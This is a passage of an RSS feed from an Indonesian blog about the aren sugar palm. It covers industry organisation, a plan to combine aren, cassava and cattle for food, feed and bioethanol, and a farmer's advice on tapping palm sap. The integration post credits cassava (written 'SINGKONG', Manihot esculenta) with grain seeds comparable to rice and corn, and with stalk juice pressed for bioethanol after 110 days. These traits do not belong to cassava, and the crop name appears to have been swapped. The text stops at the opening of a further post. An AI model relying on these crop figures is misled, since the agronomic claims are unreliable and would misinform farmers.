<p>2.	Pemilikan jumlah pohon dan  luas lahan yang cukup.  Lahan untuk Aren adalah bukan lahan sawah, tetapi kita pilihkan lahan-lahan yang miring, lahan-lahan yang kering, lahan-lahan bekas hutan yang tidak produktif.   Bisa juga kita manfaatkan lahan pekarangan atau tegalan yang selama ini belum produktif ataupun bisa juga bertumpangsari dengan tanaman tahunan lainnya.</p>
<p>3.	Petani Aren bisa saja tidak tergantung dengan Pabrik Besar Gula, tidak seperti petani Tebu yang pasti sangat tergantung dengan Pabrik Gula.   Maka petani Aen sebenarnya masih sangat bebas menentukan masuk atau tidak masuk dalam industri Gula Besar, namun memlih mengolah sendiri niranya menjadi Gula atau Alkohol atau yang lainnya.  Artinya berganing position atau posisi tawar petani Aren bisa lebih baik dari pada petani Tebu kita.</p>
<p>4.	Belajar dari para Perajin Industri Maple Syrup di Canada dan Amerika, yang mana mereka, masing-masing perajin sudah mempunyai merek dan patent dari produknya secara sendiri-sendiri.  Petani dan sekaligus perajin bisa langsung mengakses pasar Super Market ataupun langsung bertransaksi dengan para Importir di negara lain melalui Asosiasi sesama produsen diantara mereka.  Jadi bisa dikatakan mereka dalam posisi tawar yang sangat kuat dalam menentukan harga dan ketentuan dalam perdagangan lainnya.</p>
<p>5.	Teknologi yang diterapkan untuk industri produk-produk Aren haruslah yang efisien dan berorientasi pada industri kecil-kecil saja.  Kalau indusri besar biar mereka berfikir sendiri.  Akan semakin baik bila yang menghidupkan bisnis Aren ini semakin banyak tidak dimonopoli saja oleh perusahaan-perusahaan yang besar apalagi oleh kapitalis yang tidak nasionalis.  Kalau bisa jangan sampai ini terjadi di Industri Aren kita yang akan datang.</p>
<p>6.	Oleh karena itu Penelitian dan Pengembangan Aren harus dikelola dengan baik, bisa saja Litbang ini dikelola dan dibiayai dari Pemerintah ataupun oleh pihak independen yang didukung oleh para Asosiasi Aren.  Dengan Litbang yang aktif maka segala sisi Bisnis Aren ini akan bisa terus berkembang dengan sangat efisien dan unggul, kelemahan-kelemahan yang mungkin akan terjadi bisa terdeteksi sedini mungkin.  Litbang bisa jadi berfungsi sebagai intelijen bisnis Aren, baik secara teknologi, rekayasa sosio-economic, dll.</p>
<p>7.	Kelembagaan dalam Bisnis Aren harus ditata dengan sangat baik membentuk jalinan networking yang mempunyai semangat dan ruh dalam membela kepentingan petani Aren Indonesia.  Mulai dari Asosasi Petani Aren, Asosiasi Peneliti Aren Indonesia, Asosiasi Produsen Bibit Aren Indonesia, Asosiasi Produsen Gula Aren, Asosiasi Produsen Bioethanol Aren, Asosiasi Pebisnis Aren, Dewan Revolusi Aren Nasional, dll.</p>
<p>8.	Dengan demikian mau-tidak mau Pemerintah harus berpihak kepada kepentingan petani dan para pebisnis Aren Indonesia.   Karena bisa jadi para pelaku bisnis Aren nantilah yang bisa memilih dan menentukan mana-mana pejabat yang berpihak dan yang patut memimpin negeri ini.  Demikian juga di daerah, para pemimpin daerah yang berpihak petanilah yang akan dipilih, yang tidak berpihak sebaiknya tidak usah dipilih.</p>
<p>Bagaimana menurut Anda ???</p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=27</wfw:commentRss>
		</item>
		<item>
		<title>AREN, SINGKONG DAN SAPI   Sinergi Pangan, Pakan dan Energi Ramah Lingkungan</title>
		<link>http://diankusumanto.com/?p=26</link>
		<comments>http://diankusumanto.com/?p=26#comments</comments>
		<pubDate>Mon, 31 Aug 2009 17:00:17 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=26</guid>
		<description><![CDATA[AREN, SINGKONG DAN SAPI
Sinergi Pangan, Pakan dan Energi Ramah Lingkungan 
(bagian 1)
Oleh : Dian  Kusumanto
Ketahanan Pangan dan Ketahanan Energi adalah dua strategi dasar dalam upaya membangun kemandirian bangsa, martabat dan sekaligus ketahanan bangsa dari situasi global yang semakin tidak menentu.   Strategi dasar kemandirian bangsa memang bertumpu pada kemandirian di bidang pangan dan [...]]]></description>
			<content:encoded><![CDATA[<p><strong>AREN, SINGKONG DAN SAPI<br />
Sinergi Pangan, Pakan dan Energi Ramah Lingkungan </strong><br />
(bagian 1)</p>
<p>Oleh : Dian  Kusumanto</p>
<p>Ketahanan Pangan dan Ketahanan Energi adalah dua strategi dasar dalam upaya membangun kemandirian bangsa, martabat dan sekaligus ketahanan bangsa dari situasi global yang semakin tidak menentu.   Strategi dasar kemandirian bangsa memang bertumpu pada kemandirian di bidang pangan dan energi.  Karena dari situ lah seluruh aspek kehidupan ekonomi, sosial, budaya, politik, pertahanan dan keamanan yang paling mendasar itu dimulai.</p>
<p>Krisis yang terjadi di bebagai negara akan semakin sulit dipulihkan seandainya negara yang dilanda krisis tersebut sangat tergantung dengan sumber pangan dan energi dari luar.  Bagi bangsa Indonesia ketahanan pangan dan energi adalah wajib hukumnya untuk segera diwujudkan, agar Indonesia terhindar dari pengaruh krisis global yang sewaktu-waktu akan terjadi, seperti sekarang ini.</p>
<p>Oleh karena itu perlu dirancang skema-skema yang brilian dalam mengelola sumber daya alam Nusantara ini dalam rangka segera mencapai kemandirian pangan dan energi.  Pakan dalam hal ini adalah pangan untuk hewan-hewan ternak kita.  Kalau pakan tidak diperhatikan juga akan berpengaruh pada berkurangnya stok bahan pangan.</p>
<p>Ketergantungan terhadap sumber bahan pangan dari luar seharusnya sedikit demi sedikit dikurangi hingga suatu saat menjadi paling minimal.  Karena ketergantungan dengan luar akan mengakibatkan pada berkurangnya kedaulatan, martabat serta rasa kebanggaan dan percaya diri suatu bangsa.   Sangat sedih apabila bangsa yang besar seperti Indonesia ini diremehkan oleh bangsa lain.  Ibu Pertiwi akan menangis, para Pendiri Bangsa ini akan bersedih, dan Anak Bangsa tidak memiliki kepercayaan lagi, bahkan untuk sekedar mempertahankan kemerdekaan asasi suatu bangsa.</p>
<p>Walah&#8230;..  kok jadi sentimentil begitu.  Lho.. itu bukan sentimentil, tetapi rasa keprihatinan yang amat sangat menyesakkan dada, karena di dalam dada ini masih subur rasa nasionalisme dan keinginan melihat bangsa Indonesia ini bangkit menjadi Negara yang disegani.  Ada keinginan yang sangat besar bahwa Indonesia akan menjadi lumbung pangan dunia, menjadi lumbung energi dunia sampai akhir jaman nanti.  Karena rasanya Tuhan memang menakdirkan Indonesia terletak di daerah Tropis, dimana matahari bersinar sepanjang tahun, sumber daya alam yang melimpah, manusia-manusia yang unggul budayanya, baik perangainya dan taat kepada Tuhannya.</p>
<p>Apa hubungannya antara Aren, SINGKONG dan Sapi?</p>
<p>Begini,  Aren kita yakini mempunyai potensi yang luar biasa dan paling unggul sebagai komoditi penghasil sumber pangan (yaitu gula dan lain-lain) sekaligus sebagai sumber energi, industri masa depan (yaitu bioethanol dan aneka turunannya).  Produktifitasnya yang sangat luar biasa itulah sehingga Aren dijadikan leading program dari salah satu skema menuju mandiri pangan dan energi kita.</p>
<p>Namun karena Aren memerlukan waktu pertumbuhan yang cukup lama (yaitu setelah umur 6 tahun),  maka pengembangannya perlu disiasati dengan cara dikombinasikan dan diintegrasikan dengan tanaman unggul jangka pendek, yaitu SINGKONG (Manihot esculenta).</p>
<p>SINGKONG juga dapat menghasilkan biji yang mempunyai kualitas nutrisi sebanding dengan jagung dan beras, bahkan kandungan proteinnya lebih tinggi sedangkan kandungan lemaknya lebih rendah.  Pemanfaatan biji SINGKONG menjadi berbagai produk pangan olahan merupakan salah satu upaya untuk mendukung diversifikasi pangan.  Pemanfaatan SINGKONG dalam bentuk tepung lebih menguntungkan karena praktis serta mudah diolah menjadi berbagai produk makanan ringan (basah dan kering), kue, roti dan mie.  Nilai nutrisi SINGKONG cukup memadai dengan kandungan protein 8-11 %, namun protein pembentuk glutennya tidak dapat menyamai terigu.  Namun demikian tepung SINGKONG dapat mensubstitusikan terhadap tepung terigu antara 50 – 75 % untuk kue kering &amp; kue basah, kue basah 30-50 %, Roti 20-25 % dan Mie 15-20 %.</p>
<p>Kalau Sapi mempunyai peran dalam memanfaatkan biomasa dari daun dan batang SINGKONG sebagai bahan pakan yang sangat bermutu.  Sekaligus dari peternakan Sapi akan diperoleh  sumber bahan pupuk yang sangat  bermutu yaitu dari tinjanya maupun dari air urin Sapi.   Dengan menggunakan teknologi pembuatan yang memadai maka  tinja Sapi  dan air urin Sapi akan menjadi Pupuk Organik yang sangat hebat dan sekaligus menjadi Obat Pestisida Nabati yang sangat hebat.  (Mudah-mudahan ada kesempatan Penulis nanti untuk memaparkan Teknologi Pembuatan Pupuk Organik dan Pestisida Nabati ini).</p>
<p>Dengan demikian maka kebutuhan pupuk dan obat-obatan untuk kebun Aren dan kebun SINGKONG sudah bisa dicukupi dari pemanfaatan limbah ternak Sapi.  Input sarana produksi dapat diminimalkan bahkan dapat dinihilkan.  Inilah yang dimaksud dengan kemandirian Sistem Usaha Tani itu.  Jadi sebisa-bisanya membuat sistem usaha tani itu minimal atau sama sekali tidak menggunakan input dari luar sistem.  Tapi sebaliknya dari sistem usaha tani  akan dihasilkan produk-produk pangan, pakan dan energi yang dibutuhkan oleh pasar dunia.</p>
<p>Tumpang Sari atau intercropping dari dua atau tiga jenis tanaman yaitu Aren dan SINGKONG pada lahan yang sama, akan membuat produktifitas lahan meningkat, dan akan terjadi saling  komplementasi, saling substitusi pada sisi-sisi kelemahan yang terjadi pada masing-masing komoditi.  Kombinasinya dengan Sapi akan membuat sinergi integrasi komoditi ini lebih efisien, lebih berdaya saing dan lebih mandiri.</p>
<p>Kenapa demikian?  Karena yang akan dihasilkan dari sistem ini nanti adalah Produk-produk yang ramah lingkungan, karena hampir tidak ada bahan-bahan kimia yang berbahaya, semua produk yang dihasilkan serba organik.   Tepung SINGKONGnya organik,  gula Arennya juga organik, bioethanolnya juga organik, daging Sapinya organik,  dan lain-lain produk yang dihasilkan dirancang menjadi produk yang akan diterima dimana saja serta mempunyai nilai lebih.  Bukankah era yang akan datang ini adalah eranya produk-produk organik yang bermutu ? Karena dari makanan yang alami dengan mutu yang terjagalah  kesehatan dan kualitas hidup manusia ini terjaga.</p>
<p>SINGKONG Manis ini dapat ditanam disela-sela kebun Aren yang baru dikembangkan, bahkan hingga pada saat Aren menjelang produksi nanti.  Porsi luas penanaman SINGKONG pada lahan kebun Aren ditentukan oleh pemilihan jarak tanam Aren.  Untuk keperluan tumpang sari dengan tanaman SINGKONG ini dapat dipilih beberapa alternatif jarak tanam untuk Aren.   Salah satunya menggunakan pilihan jarak tanam 5 x 10 m2, dengan beberapa berbagai pertimbangan antara lain :<br />
•	Penghematan tenaga kerja penyadapan Nira<br />
•	Memberi ruang yang cukup bagi tanaman sela bahkan hingga tanaman Aren sudah mulai berproduksi (yaitu sekitar 30-40% dari lahan).<br />
•	Memberi kemudahan bagi proses pemeliharaan tanaman, pemungutan hasil panen dan sebagainya dengan kendaraan truk.</p>
<p>Porsi luas penanaman SINGKONG pada lahan kebun Aren dengan penggunaan pilihan jarak tanam  5 x 10 m2 atau dengan populasi 200 pohon per hektar  dapat diproyeksikan sebagai berikut :</p>
<p>Tahun ke			Perkiraan Luas Vegetasi Tanaman per hektar lahan<br />
Aren						SINGKONG</p>
<p>0 sampai 1			200 x   4m2 =      800m2 ( 8%)		9.200 m2 (92%)<br />
1 sampai 2			200 x   6m2 =   1.200m2 (12%)		8.800 m2 (88%)<br />
2 sampai 3			200 x 10m2 =   2.000m2 (20%)		8.000 m2 (80%)<br />
3 sampai 4			200 x 16m2 =   3.200m2 (32%)		6.800 m2 (68%)<br />
4 sampai 5 		200 x 20m2 =   4.000m2 (40%)		6.000 m2 (60%)<br />
5 sampai 6 		200 x 25m2 =   5.000m2 (50%)		5.000 m2 (50%)<br />
6 dst. 			200 x 30m2 =   6.000m2 (60%)		4.000 m2 (40%)</p>
<p>Untuk memenuhi suply bahan baku Pabrik BioEthanol (PBE) tentu tanaman SINGKONG akan ditanam secara berjenjang, sehingga panennya dapat dilakukan berjenjang.  Dengan kapasitas mesin PBE dengan nira batang SINGKONG  1000 liter/hari maka akan diperlukan batang SINGKONG sekitar  2,5 ton/hari yang dipanen dari lahan SINGKONG seluas misalnya 400 – 500 m2 atau 0,04 – 0,05 hektar per hari.  (Menggunakan asumsi produksi batang SINGKONG 60 ton/ha/musim, dengan kandungan nira dari batang SINGKONG 40% berat).  Artinya setiap hari akan dipanen SINGKONG seluas antara 0,04 – 0,05 hektar SINGKONG yang diperas batangnya untuk dijadikan Nira SINGKONG dan kemudian diolah menjadi Bioethanol.</p>
<p>Untuk bisa memanen Nira SINGKONG 1000 liter/hari  dengan umur SINGKONG 110 hari berarti perlu lahan 110 hari x (0.04 -0.05) hektar/hari = (4,4 – 5,5) hektar.  Sedangkan jika ingin memiliki Pabrik BioEthanol dengan kapasitas 1000 liter BE/hari, maka diperlukan Nira SINGKONG sekitar 12.500 liter Nira SINGKONG (Asumsi rendemen BE dari Nira SINGKONG adalah 8 %).  Maka laha SINGKONG yang diperlukan adalah 12,5 x (4,4 - 5,5) hektar = (55 – 68) hektar.</p>
<p>Kalau pemanenan SINGKONG dilakukan setiap hari, berarti penanamannya juga dilakukan berjenjang.  Yang dipanen bukan hanya batang SINGKONG, tapi juga biji dan daunnya.  Dari Pabrik BioEthanol akan ada produk samping berupa bagase atau ampas batang SINGKONG.  Ampas batang SINGKONG ini diperkirakan sejumlah sekitar 60% dari berat batangnya setelah diambil niranya.   Ampas batang SINGKONG atau bagase ini sebenarnya masih bisa diolah menjadi Bioethanol, karena ia termasuk bahan-bahan Lignoselulosa, namun teknologi untuk pengolahan yang mudah dan praktis masih terus dikembangkan.  Oleh karena itu dalam proyeksi kita ini ampas batang SINGKONG ini akan dijadikan sebagai pakan Sapi.</p>
<p>Sapi biasanya diberi pakan berupa rumput atau hijauan makanan ternak (HMT) lainnya dan suplemen pakan untuk menambah asupan protein, mineral serta minuman probiotik bagi pencernaan Sapi.  Dari panen tanaman SINGKONG diperoleh daun, dari pemerasan batang SINGKONG diperoleh Bagase atau Ampas Batang SINGKONG,  semuanya bisa dijadikan pakan bagi Sapi.  Daun dan bagase dari SINGKONG ini merupakan bahan pakan yang lebih baik dari pada HMT lainnya, karena kandungan proteinnya yang lebih tinggi.  Sehingga kalau diberikan ke Sapi maka memberikan pertumbuhan daging dan produktifitas daging yang lebih banyak.</p>
<p>Berapa keperluan pakan harian untuk Sapi?  Sapi memerlukan HMT sekitar 10 % dari bobot badannya.  Kalau dihitung rata-rata berat Sapi 250 kg per ekor berarti dibutuhkan pakan HMT sekitar 25 kg per ekor per hari.   Dalam setiap hektar SINGKONG yang dipanen akan menghasilkan daun sekitar 40 ton/hektar/musim.  Kalau mengikuti asumsi di atas, kita akan memanen 0,04 – 0,05 hektar SINGKONG, berarti akan memanen daun SINGKONG sebanyak 40 ton/hektar x 0,04 hektar/hari = 1,6 ton/hari atau 1.600 kg/hari.  Berarti ada  64 ekor Sapi yang bisa dipelihara (1600 kg/hari : 25 kg/hari/ekor = 64 ekor), dengan 4,4 sampai 5,5 hektar.   Berarti dalam setiap hitungan per hektar SINGKONG dapat dipelihara Sapi sejumlah maksimal  11 - 14 ekor, kita asumsikan saja sebanyak 10 ekor Sapi.</p>
<p>Kalau mengikuti kapasitas mesin PBE 1000 liter/hari, maka lahan SINGKONG yang ditanam sekitar 55 – 68 hektar, katakanlah  60 hektar, berarti dengan asumsi 10 ekor Sapi per hektar maka ternak Sapi yang bisa dipelihara ada 600 ekor.   Jadi angka asumsi sementara dengan kapasitas PBE 1000 liter/hari, dengan sekitar 60 hektar SINGKONG dan  ternak Sapi sekitar 600 ekor.</p>
<p>Sapi dalam hal ini memanfaatkan produk sampingan dari pada tanaman SINGKONG berupa daun dan bagase batang SINGKONG.  Namun Sapi juga sekaligus akan menghasilkan bahan pangan berupa daging, menghasilkan juga bahan baku pupukdan bahan baku pestisida organik yang hebat, aneka enzime dan ZPT alami yang hebat bagi tanaman Aren dan SINGKONG sekaligus.  Sinergi keterpaduan usaha antara Aren, SINGKONG dan ternak Sapi ini sangat meminimalkan input sarana produksi dari luar, dengan demikian akan berperan mengefisienkan biaya-biaya produksi untuk kebun Aren dan pertanaman SINGKONG.  Dengan demikian produk-produk yang dihasilkan, yaitu Gula Aren, Bioethanol, dan produk turunan lainnya akan dapat berdayasaing karena sistem usahanya sangat efisien. (bersambung)</p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=26</wfw:commentRss>
		</item>
		<item>
		<title>PRODUKTIVITAS NIRA DAN FREQUENSI SADAPAN POHON AREN</title>
		<link>http://diankusumanto.com/?p=25</link>
		<comments>http://diankusumanto.com/?p=25#comments</comments>
		<pubDate>Mon, 31 Aug 2009 16:57:06 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=25</guid>
		<description><![CDATA[PRODUKTIVITAS NIRA DAN FREQUENSI SADAPAN POHON AREN
Oleh : Dian Kusumanto
Lama tidak mengunjungi kebun Aren rasanya memang merindukan.  Minggu pagi tadi akhirnya kesempatan itu menjadi takdirNya.  Ada pelajaran yang menarik dari Sang Guru Aren saya, yaitu Bapak Sarman, seorang petani, penyadap nira Aren yang setiap hari selama puluhan tahun berakrab dengan pohon Aren.  [...]]]></description>
			<content:encoded><![CDATA[<p><strong>PRODUKTIVITAS NIRA DAN FREQUENSI SADAPAN POHON AREN</p>
<p></strong>Oleh : Dian Kusumanto</p>
<p>Lama tidak mengunjungi kebun Aren rasanya memang merindukan.  Minggu pagi tadi akhirnya kesempatan itu menjadi takdirNya.  Ada pelajaran yang menarik dari Sang Guru Aren saya, yaitu Bapak Sarman, seorang petani, penyadap nira Aren yang setiap hari selama puluhan tahun berakrab dengan pohon Aren.   Sulitnya medan menuju kebun tidak menyurutkan langkah saya.  Biasa, seperti di daerah lain juga, populasi pohon Aren selalu tumbuh berkembang di tempat yang jauh dari pemukiman.</p>
<p>Beliau masih seperti beberapa bulan yang lalu, masih energik dan selalu bersemangat kalau penulis datang.   Saya mengabarkan kalau di Majalah Tani Merdeka ada publikasi tentang Aren, yang gambarnya dulu diambil di kebun itu.  Waktu itu sang wartawan yaitu Mas Ardi Winangun dan sang fotografernya Mas Faisal   cukup lama mewancarai dan membuat foto di kebunnya.</p>
<p>Pagi tadi saya sengaja bertemu untuk menanyakan beberapa hal yang sebenarnya adalah pertanyaan yang belum bisa saya jawab.  Pertanyaan yang datangnya dari beberapa pembaca atau pengunjung blog ini melalui alamat email saya.   Ternyata jawaban dari Sang Guru Aren ini menjadi pengetahuan yang baru bagi penulis, dan kami ingin memaparkan disini mudahan juga bermanfaat bagi para Aren mania. (memangnya fans sepakbola apa?!)</p>
<p>Gambar : Pak Sarman didampingi anaknya sedang menjawab pertanyaan-pertanyaan penulis.</p>
<p>Pertanyaan 1 :  Untuk suatu keperluan, bisakah penyadapan Aren dihentikan selama 36 jam, atau baru 36 jam kemudian disadap lagi ?</p>
<p>Jawaban Pak Sarman :  Tidak bisa.  Kalau 24 jam masih memungkinkan, artinya jika awalnya disadap jam 06 pagi maka bila sore tidak disadap dan baru besok yaitu jam 06 pagi hari berikutnya baru disadap, masih bisa.   Sebenarnya yang ideal itu 12 jam sekali atau 2 kali dalam sehari, yaitu pagi hari antara jam 06 pagi sampai jam 08 pagi, kemudian sore antara jam 05 sore sampai jam 06 sore.<br />
Kalau kita terlambat mengiris batang tangkai bunga sadapan, maka biasanya air nira akan menjadi lambat keluarnya.  Air nira yang semula mengalir deras lama-kelamaan berkurang alirannya dan kemudian menetes-netes saja.  Apabila terlalu lama kemudian berhenti menetes.</p>
<p>Kenapa berhenti menetes ?   Pada ujung batang tangkai bunga sadapan itu ada semacam saluran-saluran air nira yang sangat kecil yang kemudian tertutup, tersumbat oleh air nira yang kemudian seperti mengental.  Air nira yang seperti mengental inilah yang menyebabkan nira hanya menetes-netes atau bahkan berhenti menetes karena tidak sanggup melewati saluran kapiler (phloem-red) yang ada di batang tangkai bunga sadapan.</p>
<p>Seperti apa rupa air nira yang mengental itu?</p>
<p>Air nira yang mengental itu sepertinya ia membawa partikel tepung dari dalam batang aren.  Seolah-olah, karena aliran air nira terhambat, maka tekanan air nira menguat sehingga dapat membawa tepung pati batang aren seolah mengaduk dan terlarut di aliran air nira.  Partikel tepung yang bercampur dengan air nira menyebabkan massa air nira menjadi mengental dan alirannya melambat.  Lama kelamaan seperti menumpuk dan menyumbat sehingga aliran air nira menjadi terhenti.</p>
<p>Apa akibatnya kalau ini berlangsung lama?</p>
<p>Kalau berlangsung terlalu lama akan dapat merusak saluran kapiler  air nira, ibarat bagian tubuh manusia yang terpotong yang akhirnya membusuk sedikit-demi sedikit.   Kalau terlalu lama akhirnya batang tangkai bunga tersebut tidak bisa lagi mengeluarkan air nira, karena saluran kapilernya sudah rusak dipenuhi oleh partikel air nira aren yang mengental dan sulit dikeluarkan dari saluran kapiler itu.</p>
<p>(Sebenarnya saya sedang membayangkan, kalau suatu saat nanti perkebunan aren sudah mulai produksi, saya ingin meliburkan tenaga kerja (karyawan) penyadapan libur selama 36 jam, begitu lho?!)</p>
<p>Kalau begitu ya diatur saja dari pergantian tenaga kerjanya,  jangan mengorbankan pohon nira arennya.  Karena kalau produksinya terhenti kita mesti menunggu lagi munculnya tandan bunga selanjutnya atau di bawahnya.  Itu pun kita masih khawatir, kalau-kalau macetnya aliran air nira pada batang tangkai bunga di atasnya berpengaruh pada tangkai yang di bawahnya seterusnya.  Jadi pohon bisa tidak berproduksi nira lagi.</p>
<p>Kok akibatnya bisa begitu?</p>
<p>Bisa saja terjadi pengaruh yang melebar akibat tidak kita sadapnya air nira yang macet tadi, tangkai-tangkai tandan yang di bawahnya tidak mau mengeluarkan niranya.  Kalau sudah begitu kerugiannya menjadi sangat banyak, sebab yang semestinya setiap tangkai bisa disadap sampai 3 bulan, kadang bisa sampai 7 bulan itu macet berproduksi.</p>
<p>(Sayang sekali memang!  Kalau sehari 10 liter saja berapa ruginya, 10 liter kali 3 sampai 7 bulan kali 30 hari, berarti kerugiannya sekitar antara 900 sampai 2100 liter nira.  Wah.. banyak sekali !  Iya memang sayang sekali, kalau di Nunukan ini 1 bolol Aqua besar (isi 1,5 liter) nira dihargai Rp 4.000,- per botol.  Kalau 900 liter berarti ada 600 botol, kalau 2100 liter berarti ada 1400 botol dikalikan Rp 4000,-, berarti kerugiannya antara Rp 2,4 juta sampai dengan Rp 5,6 juta setiap tangkai bunga yang tidak disadap).</p>
<p>Memang setiap tangkai bisa disadap sampai lama begitu ?</p>
<p>Bisa, tergantung keahlian para penyadap, selain itu tergantung juga dengan pisaunya.  Pisau sadap harus tajam sekali dan mengirisnya harus ahli dan sabar, sehingga mengirisnya sangat tipis sekali.  Kalau bisa setipis kertas.  Kalau begitu bisa sampai 7 bulan, seperti orang tua saya dulu.  (Rupanya dulu orang tua Pak Sarman sering membantu menyadap pada saat Pak Sarman ada keperluan yang lain).</p>
<p>(Ternyata orang tua Pak Sarman pada waktu di kampungnya dulu, yaitu di Enrekang Sulsel, adalah penyadap nira pohon Aren.  Karena memang daerah Enrekang itu banyak sekali pohon Aren).</p>
<p>Sebenarnya apa saja yang membuat penyadapan tangkai bunga berlangsung lama?</p>
<p>Ya tergantung dari panjangnya tangkai bunganya itu sendiri serta keahlian orang yang menyadap.   Jadi, pohon yang subur yang berbatang besar dan tinggi dengan daun  yang hijau segar dan banyak, akan mengeluarkan tangkai bunga dengan ukuan besar dan panjang.  Semakin panjang dan besar tangkai bunga, akan semakin banyak pula  nira yang dikeluarkan.  Pohon yang berbatang kecil biasanya tangkai tandan bunganya juga akan kecil dan pendek, seandainya tangkainya besar dia akan pendek juga.  Artinya batang yang kokoh besar dengan daun yang hijau segar berpengaruh terhadap produksi air niranya nanti.</p>
<p>Bagaimana dengan pohon Aren yang pendek atau pohon Aren genjah?</p>
<p>Memang ada pohon Aren yang pendek, yang umurnya juga agak cepat.  Barangkali sekitar 5 tahun sudah bisa diambil hasilnya.  Pohon genjah demikian biasanya juga umur produktifnya juga tidak terlalu lama, tidak seperti yang pohonnya tinggi.   Jumlah ruas-ruas daunnya juga lebih sedikit, berarti jumlah calon tandan bunganya juga sedikit.  Selain itu biasanya tandan bunganya juga tidak terlalu panjang, sehingga penyadapannya juga tidak akan lama.</p>
<p>(Berarti pohon Aren Genjah potensi produksinya juga akan lebih sedikit dibandingkan dengan yang berumur panjang).</p>
<p>Kembali kepada kasus air nira yang mengental.  Bagaimana cara untuk memperbaiki keadaan ini?</p>
<p>Air nira mengental memang bisa saja terjadi pada saat awal penyadapan.  Setelah perlakuan pemukulan yang berturut-turut (periodik) dilakukan, kemudian tangkai bunga Aren menunjukan tanda-tanda sudah bisa mengeluarkan air nira.  Maka mulailah kita mengiris tandan bunga pada tangkai paling ujung.  Adakalanya air nira mengalir langsung dengan keadaan encer dan bagus,  namun adakalanya juga air nira agak mengental.  Kalau begitu kita harus melakukan beberapa perlakuan agar niranya kembali encer dan lancar mengalirnya.</p>
<p>Ada cara yang biasa dilakukan Pak Sarman dan para penyadap Aren di Nunukan, yang merupakan ilmu pengetahuan yang diturunkan dari orang tuanya terdahulu di kampungnya di Enrekang Sulsel.   Caranya cukup sederhana, yaitu :</p>
<p>Cara yang pertama dengan menggunakan kunyit.  Kunyit dipotong kemudian pada bekas potongannya itu digosok-gosokkan pada bekas luka sayatan sadap pada tangkai bunga Aren.  Menggosok bekas luka sayatan ini dilakukan dengan cara mengiris sayatan baru dan kemudian menggosoknya dengan kunyit.  Ini dilakukan berulang-ulang pagi dan sore sebagaimana jadwal penyadapan.   Untuk penyembuhannya kadang memerlukan waktu sampai 4 (empat) hari.   Namun sebelunya perlu dilakukan juga upaya pembersihan atau pencucian wadah penampung nira Aren.  Kalau perlu dicuci dengan pasir agar bersih sekali dan tidak meninggalkan bekas dan dibilas dengan air panas.  (Kalau bahasa ilmiahnya disterilisasi).</p>
<p>Cara kedua, bisa dengan menggunakan daun sirih yang dilumatkan kemudian digosok-gosokkan pada bekas sayatan sadap di tangkai bunga Aren tadi.  Dua cara ini bisa dipilih salah satunya, tergantung bahan mana yang lebih mudah diperoleh.  Sama caranya dengan yang menggunakan kunyit tadi, yaitu dilakukan penggosokan dengan daun sirih pada bekas luka irisan sadap pada setiap pagi dan sore.  Upaya ini dilakukan sampai sembuh, yang ditandai bahwa nira kembali mengalir lancar dan encer.  Hal ini biasanya memerlukan waktu sekitar 4 (empat) hari.</p>
<p>Cara yang ketiga adalah dengan mencari rumput alang-alang, kemudian dipilin-pilin menjadi agak panjang dan diikatkan di batang pohon.  Cara ketiga ini menurut Pak Sarman biasa dilakukan bersamaan dengan cara penggosokan di atas.  Alang-alang yang sudah dipilin memanjang tadi biasanya diikatkan pada batang pohon tidak jauh dari tangkai bunga yang mengalami masalah tadi.  Bisa pada sisi atas, bisa juga pada sisi bawah dari tangkai bunganya.</p>
<p>Cara yang keempat.  Ada juga petani lain yang menyarankan untuk melakukan melubangi batang pohon di bagian bawahnya.  Alasannya agar pati sagu tidak ikut keluar bersama nira, yang akhirnya menyebabkan nira menjadi mengental.   Menurut Pak Sarman, air nira yang terkumpul biasanya agak pekat dan menyisakan endapan yang terasa seperti tepung sagu yang licin kalau diremas dengan jari.  Lubang yang dibuat tidak terlalu lebar dan tidak terlalu dalam, cukup untuk bisa memberi jalan keluar bagi ‘sagu’ yang berlebih.  Ini merupakan cara terakhir yang sebenarnya Pak Sarman belum pernah melakukannya.</p>
<p>Apakah “penyakit” air nira mengental ini dialami oleh setiap pohon?</p>
<p>Tidak.  Tidak setiap pohon mengalami gangguan ini.  Yang sering terjadi, adalah karena wadah penampungan itu kotor (terkontaminasi-red).  Wadah air nira yang kotor bisa menyebabkan air nira mengental.   Cara mengatasinya yang dengan menggunakan cara-cara di atas, sekaligus dengan membersihakan wadah penampung nira, dengan cara dicuci yang bersih bahkan dengan menggunakan pasir atau serbuk abu dapur dan dibilas dengan air panas.  Jangan lupa menggosok-gosok luka bekas irisan sadap itu dengan kunyit atau daun sirih serta mengikatkan alang-alang sebagai tanda pohon yang sedang bermasalah.</p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=25</wfw:commentRss>
		</item>
		<item>
		<title>MEMILIH AREN SEBAGAI BAHAN BAKU BIOETHANOL</title>
		<link>http://diankusumanto.com/?p=24</link>
		<comments>http://diankusumanto.com/?p=24#comments</comments>
		<pubDate>Mon, 31 Aug 2009 16:56:25 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=24</guid>
		<description><![CDATA[MEMILIH AREN SEBAGAI BAHAN BAKU BIOETHANOL
Oleh : Dian Kusumanto
Pada pertengahan Bulan Agustus 2008 yang lalu penulis mengikuti Pelatihan Produksi Bioethanol yang diselenggarakan oleh Majalah TRUBUS di Cimanggis Depok.  Penulis bertemu dengan para ahli di bidang Bioethanol Indonesia, antara lain : Bapak Arief Yudiarto, Bapak Roy Hendroko, Bapak Ronny Purwadi, Bapak Cecep Sudirman dan Bapak [...]]]></description>
			<content:encoded><![CDATA[<p>MEMILIH AREN SEBAGAI BAHAN BAKU BIOETHANOL<br />
Oleh : Dian Kusumanto</p>
